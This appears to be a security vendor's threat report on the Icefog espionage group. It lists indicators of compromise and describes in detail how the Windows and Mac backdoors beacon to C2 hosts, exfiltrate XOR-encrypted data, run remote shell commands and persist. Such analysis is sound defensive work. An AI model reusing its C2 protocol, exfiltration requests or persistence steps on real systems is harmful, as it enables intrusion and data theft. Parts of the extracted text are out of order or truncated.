Another important note relates to geographical distribution of victims. While we see many connections coming from China, this doesn’t mean that it has victims of targeted attacks. Because the Macfog samples that we have seen are being distributed in a trojanized bundle with legitimate software on publicly available Chinese message boards, visitors (especially those who read Chinese) from any country in the world could get infected. We believe that a primary goal of doing that was to test malware in different environments and evaluate its efficiency. That explains why the domain used as C2 was abandoned - random victims had less value for the attackers.

Based on the more reliable analysis of the C&C servers used in the targeted attacks, spearphishing examples and other data collected during our research, we believe that the primary targets of the Icefog operations were in South Korea and Japan.
ATTACKER IPS

Based on the list of IPs used to monitor and control the infrastructure, we assume some of the threat actors behind this operation are based in at least three countries:

> China (the largest number of connections)
> South Korea
> Japan

More information on attribution is available in our private report for governments. (Contact intelreports@kaspersky.com)

MALWARE ARTIFACTS

The “MSUC.DAT” type “2” backdoor has an ASCII string inside with the following content: “Yang.ZC Wang.GS Zhan.QP Ma.J Li.X Hu.HXU”.

| Icefog Type “2” hardcoded names |
The Icefog Type “2” backdoor loader with MD5 “be043b0d1337f85cf05f786eaf4f942”, found on the C2 domain “infostaition.com” has the following debug path inside:

“C:\Users\yang.zc\Desktop\代碼片調用程序 4\Release\UCCodePieceGo.pdb”

Note that “Yang.zc” appears in both strings. The string “代碼片調用程序 4” translates to “Piece of code calling 4” from Chinese.

**LANGUAGE USAGE**

One of the C&C backend control scripts (control.aspx) has the page title “尖刀三号”, which means “Dagger Three” in Simplified Chinese.

```
<head id="Head"><title>尖刀三号</title>
</head>
```

“Dagger Three” - page title

The ASPX server-side scripts contain a number of messages and code comments in Chinese:

```
Response.Write("<script>alert("断点续传命令已发送 ! ");</script>");
Server.Transfer("/admin.aspx");
protected void bt_DoDownload_Click(object sender, EventArgs e)
{
    if (string.IsNullOrEmpty(tb_DoDownloadFilePath.Text))
    {
        lab_Notice.Text = "下载文件的路径不能为空！";
        return;
    }

string strTempFilePath = HttpContext.Current.MapPath("downloads\" + strFilePathName + ".tmp");
FileStream fs = File.Open(strTempFilePath, FileMode.Open);
long CurrentFileSize = fs.Length;
fs.Close();
string strOrder = ";"
if (CurrentFileSize == strTempFilePath.Length)
```

HTTP command has been sent
Download file path can not be empty
Check if new and existing files have the same size.
One of the lateral movement tools used by the attackers has a Chinese name:

windows版本号.txt.jpg - “windows version.txt.jpg”

Unauthenticated C&C login attempts to access the command-and-control user interface result in redirects to ‘sohu.com’:

```csharp
private void Page_Load(object sender, EventArgs e)
{
    try
    {
        if (this.Session["username"] == null)
        {
        }
        else if (this.Session["username"].ToString() != "admin")
        {
        }
    }
}
```

Note: “sohu.com” is one of the most popular internet portals in China.

REGISTRATIONS

More information is available in our private report for governments.
(Contact intelreports@kaspersky.com)
MITIGATION INFORMATION

INDICATORS OF COMPROMISE (IOCS)

C&C DOMAINS AND HOSTNAMES

> 40yuan.8.100911.com
> 625tongyi.com
> 9-joy.net
> agorajpweb.com
> appst0re.net - SINKHOLED by Kaspersky Lab
> bigbombnews.com
> chinauswatch.net - SINKHOLED by Kaspersky Lab
> cloudsbit.com
> cnnpolicy.com
> dabolloth.com
> dancewall228.com
> dashope.net
> daxituzi.net
> defenseasia.net - SINKHOLED by Kaspersky Lab
> disneyland.website.iiswan.com
> dosaninfracore.com
> dotaplayers.com
> electk.net
> esdlin.com
> fruitloop.8.100911.com
> gamestar2.net
> gangstyleobs.com
> globalwebnews.net
> icefog.8.100911.com
> infostaition.com
> kakujae.com
> kansenshu.com
> kevisw.net - SINKHOLED by Kaspersky Lab
> kechospital.com - SINKHOLED by Kaspersky Lab
> kimjeayun.com
> koreanmofee.com
> kreamnnd.com
> krentertainly.net
> lexdesign152.net
> mashuisi.net
> minihouse.website.iiswan.com
> msvistastar.com - SINKHOLED by Kaspersky Lab
> mudain.net
> namoon-tistory.com
> newsceekjp.com
> nk-kotii.com
> pasakosoft.net - SINKHOLED by Kaspersky Lab
> pinganw.org - SINKHOLED by Kaspersky Lab
> ppxxc.org
> samyongonc.com
> securimalware.net - SINKHOLED by Kaspersky Lab
> sejonng.org
> sejoung.org
> setchon.com
> skynet121.net
> spekosoft.com - SINKHOLED by Kaspersky Lab
> starwings.net
> tokyoyan.net
> twittle.org
>unikorean.com - SINKHOLED by Kaspersky Lab
> war3players.com
> widestar.net
> womenewes.com
> yahoowebnews.com
> zhpedu.org

MALWARE PATHS ON DISK:

> %TEMP%\scvhost.exe
> %TEMP%\svohost.exe
> %TEMP%\msuc.dat
MITIGATION INFORMATION

> %TEMP%\order.dat
> %TEMP%\cmd1.dat
> %TEMP%\tmpxor.dat
> %SYSTEMROOT%\msld.exe
> %SYSTEMROOT%\wdmaud.drv
> %PROGRAM FILES%\Internet Explorer\sxs.dll

MUTEXES:

> my_horse_mutex_jd2_new
> my_horse_mutex_jd2_923
> myhorse_macfee
> horse_for360
> myhorsemutexjd3_wm_1226
> myhorsemutex
> myhorse_qianfu001
> myhorse_ie001
> myhorse_ie_001

USER AGENT STRINGS (HTTP TRAFFIC):

> “MyAgent”
> “mydownload”

E-MAILS ACCOUNTS:

Accounts used to send mail by the older “2011” Icefog:
> harrypottercommand001@aol.com
> jd2command092@aol.com
> jd2clientsend@aol.com
> woshihero009@aol.com
> mrmylcmd009@aol.com
> defaultmail002@aol.com

**IPs**

> 122.10.87.252
> 113.10.136.228
> 103.246.245.130

Note: due to shared hosting, blocking IPs for Icefog C2s can cause false positives. These IPs are known to point to dedicated hosting servers.

**DETECTION NAMES BY KASPERSKY PRODUCTS FOR ICEFOG BACKDOORS AND RELATED TOOLS**

> Backdoor.ASP.Ace.ah
> Backdoor.Win32.Agent.dcjj
> Backdoor.Win32.Agent.dcwq
> Backdoor.Win32.Agent.dcww
> Backdoor.Win32.CMDer.ct
> Backdoor.Win32.Visel.ars
> Backdoor.Win32.Visel.arx
> Exploit.MSWord.CVE-2010-3333.cg
> Exploit.MSWord.CVE-2010-3333.ci
MITIGATION INFORMATION

> Exploit.MSWord.CVE-2012-0158.ae
> Exploit.MSWord.CVE-2012-0158.az
> Exploit.MSWord.CVE-2012-0158.bu
> Exploit.MSWord.CVE-2012-0158.u
> Exploit.Win32.CVE-2012-0158.j
> Exploit.Win32.CVE-2012-0158.u
> Exploit.WinHLP.Agent.d
> Trojan-Downloader.Win32.Agent.ebie
> Trojan-Downloader.Win32.Agent.gxmp
> Trojan-Downloader.Win32.Agent.gzda
> Trojan-Downloader.Win32.Agent.gznn
> Trojan-Downloader.Win32.Agent.tenl
> Trojan-Downloader.Win32.Agent.vigx
> Trojan-Downloader.Win32.Agent.vkcs
> Trojan-Downloader.Win32.Agent.wcpy
> Trojan-Downloader.Win32.Agent.wqbl
> Trojan-Downloader.Win32.Agent.wqdv
> Trojan-Downloader.Win32.Agent.wqqz
> Trojan-Downloader.Win32.Agent.xrlh
> Trojan-Downloader.Win32.Agent.xsub
> Trojan-Downloader.Win32.Agent.xyqw
> Trojan-Downloader.Win32.Agent.yavh
> Trojan-Downloader.Win32.Agent.yium
> Trojan-Dropper.Win32.Agent.gvfr
> Trojan-PSW.Win32.MailStealer.j
> Trojan-Spy.Win32.Agent.bwdf
> Trojan-Spy.Win32.Agent.bxeo
> Trojan.PHP.Agent.ax
> Trojan.Win32.Genome.ydxx
> Trojan.Win32.Icefog.*
This paper describes “Icefog”, a small APT group which focuses on targets in South Korea and Japan. The operation appears to have started in 2011 and increased in size and scope during each year. Based on the victim profiles, the attackers appear to have an interest in the following sectors:

- Military
- Mass media and TV
- Shipbuilding and maritime operations
- Computers and software development
- Research companies
- Telecom operators
- Satellite operators

Despite their relative lack of complexity, the attackers have successfully compromised targets belonging to these categories, with the largest number of victims being in South Korea.

The Icefog attackers have both Windows and Mac OS X backdoors at their disposal. The Mac OS X backdoor currently remains largely undetected by security solutions and has managed to infect several hundred victims worldwide.

The “hit and run” nature of this operation is one of the things that make it unusual. While in other cases, victims remain infected for months or even years, and data is continuously exfiltrated, the Icefog attackers appear to know very well what they need from the victims. Once the information is obtained, the victim is abandoned.

During the past years, we observed a large increase in the number of APTs which are hitting pretty much all types of victims and sectors. In turn, this is coupled with an increased focus on sensitive information and corporate cyber-espionage.

In the future, we predict the number of small, focused APT-to-hire groups to grow, specializing in
hit-and-run operations, a kind of “cyber mercenaries” of the modern world.

Recommendations on how to stay safe from such attacks (for both Windows and Mac OS X users):

> Update Java to the most recent version or, if you don’t use Java, uninstall it.

> Update Microsoft Windows and Microsoft Office to the latest versions.

> Update all other third party software, such as Adobe Reader.

> Be wary of clicking on links and opening attachments from unknown persons.

> Windows users can install Microsoft EMET 4.0, a toolkit designed to help prevent hackers from gaining access to your system.

So far, we haven’t observed the use of zero-day vulnerabilities by the Icefog group; to defend against those, although patches don’t help, technologies such as AEP (Automatic Exploit Prevention) and DefaultDeny can be quite effective.
## APPENDIX A

### MALWARE MD5S

#### SPEARPHISHING DOCUMENTS

<table>
<thead>
<tr>
<th>MD5</th>
<th>FILENAME</th>
<th>KASPERSKY NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>32e8d4b2f08aff883c8016b7ebe7c85b</td>
<td>1234567890.doc</td>
<td>Exploit.MSWord.CVE-2012-0158.u</td>
</tr>
<tr>
<td>219738275b9dfbef6be8b6547833e45</td>
<td>説明書.xls</td>
<td>Exploit.MSWord.CVE-2012-0158.az</td>
</tr>
<tr>
<td>363bcf8bbf8ae7def65adce0a755d45</td>
<td>n/a</td>
<td>Exploit.MSWord.CVE-2012-0158.u</td>
</tr>
<tr>
<td>3ce3e49e0e31e69b2abcb3d7569a63c</td>
<td>n/a</td>
<td>Exploit.MSWord.CVE-2012-0158.u</td>
</tr>
<tr>
<td>c5f3d21cb19a4b2d03aa42e4bf43b79b</td>
<td>2345678901.doc</td>
<td>Exploit.MSWord.CVE-2012-0158.u</td>
</tr>
<tr>
<td>b1241cd7a0d7d58d1182badd0adba8ab</td>
<td>n/a</td>
<td>Exploit.MSWord.CVE-2012-0158.u</td>
</tr>
<tr>
<td>7ec89be945add54aa67009dbc12a9260</td>
<td>keikaku-201302.xls</td>
<td>Exploit.OLE2.Multigeneric. gen</td>
</tr>
<tr>
<td>eb4579f08cd270e496c70ddca29dcb</td>
<td>“CS130116-2 BARILOCHE( 鶴舞 057) MSB. XLS”</td>
<td>Exploit.OLE2.Multigeneric. gen</td>
</tr>
<tr>
<td>5aaa057d3447a214e729276563d2f922</td>
<td>打ち合わせ議事録(130204).xls</td>
<td>Exploit.MSWord.CVE-2012-0158.az</td>
</tr>
</tbody>
</table>

#### DROPPERS

<table>
<thead>
<tr>
<th>MD5</th>
<th>COMPILEDON</th>
<th>KASPERSKY NAME</th>
<th>C2</th>
</tr>
</thead>
<tbody>
<tr>
<td>8f816f4acc49f5ebba00d92437b42e85</td>
<td>2013-01-15 10:51:17</td>
<td>Trojan-Downloader. Win32.Agent.xpxr</td>
<td>asdfghjk.host2.5y6.net/jd/upload.aspx (110.45.203.152 - KR)</td>
</tr>
</tbody>
</table>
## BACKDOORS

<table>
<thead>
<tr>
<th>MD5</th>
<th>COMPILEDON</th>
<th>KASPERSKY NAME</th>
<th>C2</th>
</tr>
</thead>
<tbody>
<tr>
<td>853096b7e1e4bdb9221875c30d9a15a0</td>
<td>2012-07-03 22:46:52</td>
<td>Trojan-Downloader. Win32.Agent.wpuu</td>
<td>mail.kechospital.com/jd/upload.aspx</td>
</tr>
<tr>
<td>6d3d95137ef1ba5c6e15a4a95de8a546</td>
<td>2011-08-05 13:44:30</td>
<td>Trojan-Spy.Win32.Agent.bxeo</td>
<td><a href="http://www.cloudsbit.com/jd2web/upload.aspx">www.cloudsbit.com/jd2web/upload.aspx</a></td>
</tr>
<tr>
<td>b21635b1b1fce93ff917d9308d4835fb</td>
<td>2013-01-23 08:30:51</td>
<td>Trojan-Downloader. Win32.Agent.xsry</td>
<td>newsceekjp.com/jd/upload.aspx</td>
</tr>
<tr>
<td>Hash</td>
<td>Date</td>
<td>Time</td>
<td>Type</td>
</tr>
<tr>
<td>----------</td>
<td>------------</td>
<td>----------</td>
<td>--------------------</td>
</tr>
<tr>
<td>beb9da03aff9386599625199a5a47b8d</td>
<td>2013-03-18</td>
<td>02:17:49</td>
<td>Trojan-Downloader. Win32.Agent.xyqw</td>
</tr>
<tr>
<td>80405f5681f1e4f2de6e8c26ec20c14d</td>
<td>2012-01-17</td>
<td>05:55:18</td>
<td>Trojan-Downloader. Win32.Agent.vigx</td>
</tr>
<tr>
<td>566b175ab355e6313ba0ca98b0146d84</td>
<td>2011-09-16</td>
<td>02:30:13</td>
<td>Trojan-Downloader. Win32.Agent.tlod</td>
</tr>
<tr>
<td>d421e0d74a0735246c1ea51bd4d3114</td>
<td>2013-05-03</td>
<td>03:04:49</td>
<td>Trojan-Downloader. Win32.Agent.yavh</td>
</tr>
<tr>
<td>24751030c1fa40bd57988d4e6fe70117</td>
<td>2012-08-30</td>
<td>01:02:35</td>
<td>Trojan-Downloader. Win32.Agent.yavh</td>
</tr>
<tr>
<td>fba7b9fdd08110e37d2bdff77c0d8006</td>
<td>2013-02-04</td>
<td>03:02:44</td>
<td>Trojan-Downloader. Win32.Agent.xrlh</td>
</tr>
<tr>
<td>0e2694aea9d3de122611d88e37f6c7f0</td>
<td>2011-06-19</td>
<td>10:27:49</td>
<td>Trojan.Win32.Icefog.d</td>
</tr>
<tr>
<td>387ae1e56fa48ec50a46394cc51acce7</td>
<td>2012-07-26</td>
<td>03:10:48</td>
<td>Trojan-Downloader. Win32.Agent.xsub</td>
</tr>
<tr>
<td>f46eb126668dfc843a05958e71936b01</td>
<td>2011-09-23</td>
<td>03:35:50</td>
<td>Trojan.Win32.Icefog.b</td>
</tr>
</tbody>
</table>
MALWARE TECHNICAL ANALYSIS

ICEFOG TYPE “1” DESCRIPTION

<table>
<thead>
<tr>
<th>MD5</th>
<th>SIZE</th>
<th>COMPILEDON</th>
</tr>
</thead>
</table>

SUMMARY

The module is a non-packed Win32 PE DLL file compiled in Microsoft Visual C++ 8.0. The module installs at %WinDir%\wdmaud.drv and is automatically loaded by explorer.exe on startup. This technique is known as “DLL search order hijacking”, and abuses the fact that Windows Explorer will load this file from its own directory first, instead of the Windows SYSTEM folder.

It communicates with the C&C server at ‘icefog.8.100911.com’ (211.42.249.39) and passes collected information about victim, lets the operator download or upload files to and from the victim machines, execute system commands on the infected machines as well as execute additional malware components.

DETAILLED DESCRIPTION

After the DLL is loaded, it creates system mutex named “myhorse_macfee”. If such mutex already exists, the module quits to avoid duplicate instances from running.

After that, it loads %WinDir%\wdmaud.drv (this DRV is loaded by explorer.exe on startup) and calls exported mymainfunc of its own module that creates a new thread responsible for the communication with C&C.

The spawned thread collects information about the system such as user names, machine names, IP addresses, running processes, proxy settings, Windows versions, etc. It produces a report that
is later submitted to the C&C server. An example for such a report is shown below:

- **Hostname**: <SYSTEM NAME>
- **IP**: <SYSTEM LOCAL IP ADDRESS>
- **Proxy**: <LOCAL PROXY SERVER>
- **User**: <USERNAME>
- **SystemDir**: C:\WINDOWS\system32
- **OS Language Version**: <OS LANGUAGE ID>
- **System Version**: <OS VERSION>
- **Process**:
  - ID: 4 (?)
  - ID: 552 (\SystemRoot\System32\smss.exe)
- *(List all running processes and their main executable file path)*

This information is then written to the file at %TMP%\tmp.dat.

Then, it checks if the %TMP%\msuc.dat file exists. If it exists, the module creates a new thread that will load the file contents into memory and pass execution flow to the first byte of the loaded data in memory.

The contents of the tmp.dat is converted to wide char and XORed with key “*&~^%@0hh8979”.

Immediately after, it is sent via HTTP/1.1 **POST** request to ‘icefog.8.100911.com’ on port 80.

The full query string is the following:

```
```

Full HTTP headers:

```
Host: icefog.8.100911.com
User-Agent: MyAgent
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Accept-Language: en-us
Content-Type: multipart/form-data
Accept-Encoding: gzip, deflate
```
CONTROL COMMANDS

The module attempts to get ‘icefog.8.100911.com/news/order/<HOSTNAME>_<HOSTIP>.jpg’ file with custom user agent “mydownload”. The response is saved to file %TMP%\order.dat

The content of order.dat is converted from widechar to multibyte string and is parsed for the following command strings:

> cmd_
> upload_
> download_
> code_

If any of the commands above is found, the Trojan notifies the C&C that the command was received by issuing the following POST request:

Query string: ‘/news/upload.aspx?filepath=order&filename=<HOSTNAME>_<HOSTIP>.jpg’

Full HTTP/1.1 headers:

Host: icefog.8.100911.com
User agent: MyAgent
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Accept-Language: en-us
Content-Type: multipart/form-data
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Cache-Control: no-cache
**COMMAND CMD_**

The `cmd` command expect a payload string (`<COMMAND>`) following the “cmd_” prefix, so that the full command syntax looks like this: `cmd_<COMMAND>`. It creates a new process with command line `C:\windows\system32\cmd.exe /c <COMMAND>`

However, if `<COMMAND>` contains output redirection character “>”, the executed command line will be as following:

`C:\windows\system32\cmd.exe /c command > %TMP%\ cmd1.dat`

After the process has finished its stdout output is sent to the C&C via

```plaintext
POST request to '/news/upload.
   aspx?filepath=result&filename=<HOSTNAME>_HOSTIP>.jpg'

Host: icefog.8.100911.com
User-Agent: MyAgent
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Accept-Language: en-us
Content-Type: multipart/form-data
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Cache-Control: no-cache
```

The command-line output is converted to wide-char string and XORed using “*&~^%@0hh8979” string as the key.

**COMMAND UPLOAD_**

The command string format must be as following: `upload_<FILEPATH>_<FILENAME>`

It attempts to fetch icefog.8.100911.com/news/order/<FILENAME> using user agent `mydownload` and saves the response to the local path specified in `<FILEPATH>`.
After that it notifies the C&C by sending

```
HTTP/1.1 POST request
```

Full HTTP/1.1 headers:

```
Host: icefog.8.100911.com
User-Agent: MyAgent
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Accept-Language: en-us
Content-Type: multipart/form-data
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Cache-Control: no-cache
```

**COMMAND DOWNLOAD**

Download command format must be

```
"download_\<LOCALPATH>\<FILENAME>\<NAMEONSERVER>
```

The `\<LOCALPATH>\<FILENAME>` file is opened and its content is prepared for uploading by converting ANSI data to Unicode and **XORing** using key "**&~^%@0hh8979**". The result is saved to

```
%TMP%\tmpxor.dat
```

The tmpxor.dat is uploaded via **POST** request to ‘icefog.8.100911.com’ at port 80.

```
Query string: '/news/upload.aspx?filepath=download&filename=<HOSTNAME>_\<HOSTIP>_\<NAMEONSERVER>_\<FILESIZE>.jpg'.
```

Full HTTP/1.1 headers:

```
Host: icefog.8.100911.com
User-Agent: MyAgent
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Accept-Language: en-us
Content-Type: multipart/form-data
```
The code command format must be code_<FILENAME>

A new thread is created that loads a local file, specified in <FILENAME>, to memory and passes the execution to the first byte of the loaded data.

If no known command is parsed out of the server response, the Trojan notifies the server about being alive by issuing the following HTTP POST request:

Query string: '/news/upload.aspx?filepath=ok&filename=<HOSTNAME>_<HOSTIP>.jpg'
Host: icefog.8.100911.com
User-Agent: MyAgent
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Accept-Language: en-us
Accept-Type: multipart/form-data
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Cache-Control: no-cache.

After that it sleeps for 150 seconds and starts the command-processing loop again.
In addition to the web-based Icefog malware samples, we have come across a variant of the Icefog bot which is based on a custom protocol working over a TCP session (port 5600 TCP) with its own desktop application that serves as a command-and-control center.

For reference, we called it **Icefog-NG (New Generation)**. We believe that the new generation of Icefog was created to improve bot response and to increase the efficiency of operations. The previous web-based version of the bot had significant time lag during operation (up to 40 seconds), the new generation bot was created to solve the time lag issue.

<table>
<thead>
<tr>
<th>MD5</th>
<th>SIZE</th>
<th>COMPILEDON</th>
</tr>
</thead>
<tbody>
<tr>
<td>FA452F67C6BF8056B563690D61C4A4C6</td>
<td>86'016</td>
<td>2013-06-21 01:06:26</td>
</tr>
</tbody>
</table>

**SUMMARY**

The module is a non-packed Win32 PE Executable file compiled in Microsoft Visual C++ 2005. It is a backdoor that is capable of collecting system information, download and upload files, execute commands.

**DETAILED DESCRIPTION**

To enable automatic start during system boot, the malware adds and uses the following system registry value:

```
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load="%TMP%\msloger.exe"
```

During start it checks if a file named “%TMP%\~AA.tmp” exists. If yes, it copies the file to %TMP%\hwp.hwp. Next it kills processes named “hwp.exe” and then opens “hwp.hwp”. This is important step during first malware run which opens a decoy .hwp document. This shows that the malware was designed to be installed from .hwp documents containing exploits.
Then it copies “%TMP%\~Ab.tmp” to “%TMP%\msloger.exe”.

After that the malware registers on the C&C. To do that, the malware connects to www.kreamnnd.com on port 5600 and sends a registration message:

```
[Total message size: DWORD]SX[HOSTID length:WORD][HOSTID][Host Info Data Size: DWORD][Host Info Data]
```

**HOSTID** is a string having system hostname and system IP joined by “_”: Hostname_IP.

The data is encrypted using XOR with key “&*^@^-^%9?i0h”. If the connection with C&C is lost the bot can re-establish the session by sending

```
[Total message size: DWORD]XT[Hostname length:WORD][HOSTNAME]_[IPADDR]
```

**CONTROL COMMANDS**

After connecting to the C&C and sending the registration message the bot expects commands from the server. These commands are described below.

**COMMAND CMD**

This command is used to execute a command line. The message has the following format:

```
[Total Message Size: DWORD]SC[COMMAND]
```

The bot checks if the **COMMAND** contains “sleep” then it sleeps for the specified time after “sleep” substring.

Otherwise, a new cmd.exe processes is spawned to execute the **COMMAND**. If the command does not contain “>” the output will be directed to %TMP%\cmd1.dat and the result will be sent to the C&C automatically using the following format:

```
[Total Message Size: DWORD][cmd1.dat data]
```

The %TMP%\cmd1.dat is deleted after the file is sent to the C&C.
**COMMAND DOWNLOAD**

This command is used to download a file from the victim machine. The message has the following format:

```
[Total Message Size: DWORD]DL[FILEPATH]
```

The server expects the bot to send a response message with the file size from victim bot

```
[Total Message Size: DWORD]OK[File Size: DWORD]
```

Then the server sends an acknowledgement message to the victim bot

```
[Total Message Size: DWORD]OK
```

The bot encrypts the contents of the file and saves it to `%TMP%\mstmpdata.dat`. After that part it sends mstmpdata.dat file split in chunks of 0x4ffc each (the last one may be shorter than 0x4ffc). Here is the format of that message:

```
[Total Message Size: DWORD][File data no longer than 0x4ffc]
```

The last message is repeated containing the next chunk of the file until end of file is reached.

---

**COMMAND UPLOAD**

This command is used to upload a file from the C&C to the bot. The format of this command is the following:

```
[Total Message Size: DWORD]UP[File Size: DWORD][Data Chunk Size+Total Message Size field length, a hardcoded value of 0x5000: DWORD][File Name]
```

The server expect an OK message from the bot

```
[Total Message Size: DWORD]OK
```

Then C&C sends the first part of the file.

```
[Total Message Size: DWORD][File data no longer than 0x4ffc]
```

The server expects the OK message from the bot and transfers the next data chunk until the whole file is uploaded.
COMMAND SLEEP

This command is used to suspend the C&C connection thread for 1 second.

[Total Message Size: DWORD]SL
The MacOS X malware uses the type “1” protocol, just as the Windows version of Icefog. It has been distributed on various Internet message boards and forums as an application called “Img2icns”. There are two known malicious bundles, one contains the launcher and the backdoor modules, and another contains the dropper and the backdoor modules.

Once the user executes the malicious application bundle, the backdoor is copied to the user’s directory and the legitimate application is started as if there was no added malicious code.

**MACFOG — LAUNCHER MODULE**

<table>
<thead>
<tr>
<th>Filename:</th>
<th>launchd</th>
</tr>
</thead>
<tbody>
<tr>
<td>Location in the bundle:</td>
<td>Img2icns.app/Contents/MacOS/launchd</td>
</tr>
<tr>
<td>File size:</td>
<td>23084 bytes</td>
</tr>
<tr>
<td>Format:</td>
<td>Mach-O Intel 64-bit executable</td>
</tr>
<tr>
<td>MD5:</td>
<td>336de9428650c46b64ff699ab4a441bb</td>
</tr>
</tbody>
</table>

The module is written in Objective C language and contains 4 classes: AppDelegate, UCHostInf, UCNet, UCUpDownload. The latter three classes seem to be included from the backdoor’s source code but not used.

All functionality is implemented in the function “AppDelegate - (void)applicationDidFinishLaunching:(id)”. The module was created from the same source code as the dropper but instead of installing the backdoor module, it only executes the malicious payload and the decoy application:

```
“%bundle path%/Contents/Resources/.launchd.app”
“%bundle path%/Contents/Resources/.Img2icns.app” (the original “Img2icns” application, http://www.img2icnsapp.com/).
```
MACFOG — DROPPER MODULE

Filename: Img2icns
Location in the bundle: Img2icns.app/Contents/MacOS/Img2icns
File size: 23236 bytes
Format: Mach-O Intel 64-bit executable
MD5: 9f422bb6c00bb46fbfa3918ae3e9447a

The module is written in Objective C language and contains 4 classes: AppDelegate, UCHostInf, UCNet, UCUpDownload. The latter three classes seem to be included from the backdoor’s source code but not used.

All functionality is implemented in the function “AppDelegate - (void)applicationDidFinishLaunching:(id)“.

The module copies its malicious bundle from “Contents/Resources/.launchd.app” to user’s home directory “/Users/%username%” and launches it, effectively activating the backdoor. Then, it launches the legitimate part of the bundle, “Contents/Resources/Img2icns.app” that is the original “Img2icns“ application (http://www.img2icnsapp.com/).

MACFOG — BACKDOOR MODULE

Filename: launchd
Location in the bundle: Img2icns.app/Contents/Resources/.launchd.app/Contents/MacOS/launchd
Location on disk: /Users/%username%/.launchd.app/Contents/MacOS/launchd
File size: 32748 bytes
Format: Mach-O Intel 64-bit executable
MD5: cf1815491d41202eb8647341a8695e1e

The module is written in Objective C language and contains 5 classes: AppDelegate, UCHostInf, UCNet, UCUpDownload, KEYLogger.

The “KEYLogger” class appears to be incomplete. It is only able to get information about active modifier keys and writes data to a log file: “$HOME/Library/log.log”
When started, the module launches an application: “%application’s bundle path%/Contents/Resources/launchd.app” This code seems to be reused from the dropper module.

Then, it proceeds with installation. Once the installation is finished, it starts its main thread (“UCServerThread” function) in an infinite loop.

**INSTALLATION**

The module checks if its bundle directory is located in “/Users/%username%/” and if not it copies the bundle to that directory.

It also writes the command “rm -rf %original bundle path%” to the file “/Users/%username%/launchd.app/config.dat”. This command is then executed by the installed copy of the backdoor, effectively removing the original bundle directory.

Then, it creates a file “$HOME/Library/LaunchAgents/apple.launchd.plist” with all the parameters required to launch the backdoor every time the system starts.

**MAIN THREAD**

The module retrieves host information and host name and uploads this information to the C2 server. All data sent to the C&C server is encrypted with the hardcoded XOR key “*&~^%@0hh8979”.

First, it makes a POST request with URL “hxxp://appst0re.net/upload.aspx?filepath=ok&filename=%hostname%.jpg”. After that, it requests commands from the C&C server. If no data was received, it tries again after sleeping for 120 seconds.

The module requests new commands by making a POST request to the C&C server by URL “hxxp://appst0re.net/upload.aspx?filepath=order&filename=%hostname%.jpg” and then executes the command:

<table>
<thead>
<tr>
<th>COMMAND</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>upload</td>
<td>Download the file from the C&amp;C server and save it to disk</td>
</tr>
<tr>
<td>download</td>
<td>Upload the file to the C&amp;C server</td>
</tr>
<tr>
<td>cmd</td>
<td>Execute command via “popen” function, upload results to the C&amp;C server</td>
</tr>
</tbody>
</table>
Information retrieved from the system:

- host name
- OS name
- OS version string
- process information
- IP addresses
- system uptime
- host date/time

C&C server: http://appstore.net

C&C URLs: http://appstore.net/upload.aspx?filepath=%order(ok/arbitrary name%&filename=%hostname%.jpg

CLASS STRUCTURE

AppDelegate (main)

- [AppDelegate applicationDidFinishLaunching:]
- [AppDelegate UCServerThread:]
- [AppDelegate window]
- [AppDelegate setWindow:]

UCHostInf

+ [UCHostInf GetHostName]
+ [UCHostInf GetHostInfo]

UCNet

+ [UCNet Http:Get:PostData:Error:]
+ [UCNet HttpGetSimple:Error:]
+ [UCNet HttpPost:PostData:Error:]
+[UCNet HttpPostSimple:Error:]

**UCUpDownLoad**

+[UCUpDownLoad UpLoadFile:FileName:FileData:]
+[UCUpDownLoad DownLoadFile:FileName:]

**KEYLogger**

+[KEYLogger keyLogger]